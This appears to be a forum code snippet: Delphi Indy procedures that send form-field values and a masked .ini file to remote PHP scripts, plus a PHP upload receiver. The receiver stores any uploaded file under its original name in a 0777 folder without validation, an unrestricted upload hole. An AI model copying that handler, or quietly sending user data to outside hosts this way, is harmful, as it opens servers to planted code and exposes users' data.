procedure TForm2.s1Click(Sender: TObject);

begin

idHTTP1.Get('http://i-.16mb.com//script.php?recieve=' +(IEAddress1.text)+':'+(IEAddress2.text));

end;

..

uploadfile.php, 430 b

 

<?php

    $uploaddir = "tmp"; // Where you want the files to upload to - Important: Make sure this folders permissions (CHMOD) is 0777!

    

    if(is_uploaded_file($_FILES['ffile']['tmp_name']))

    {

    move_uploaded_file($_FILES['ffile']['tmp_name'],$uploaddir.'/'.$_FILES['ffile']['name']);

    print "Your file has been uploaded successfully! Yay!";

    

    } else {

    print "Your file has not been uploaded!!";}

    ?>

 

 

 

 

procedure TForm2.send1Click(Sender: TObject);

//procedure TForm1.sendFileInet(filename: string);

var

 response: string;

 formData: TIdMultipartFormDataStream;

 idhttp1: TIdHTTP;

begin

    idhttp1 := TIdHTTP.Create(nil);

 

 

formData := TIdMultipartFormDataStream.Create;

 

formData.AddFile('ffile', 'хххх.ini', 'text/plain');   // ffile mst be in php-file

IdHTTP1.Request.ContentType := 'multipart/form-data';

try

 response := IdHTTP1.Post('http://ХХХХ/uploadfile.php', formData);

finally

  IdHTTP1.Free;

  formData.Free;

end;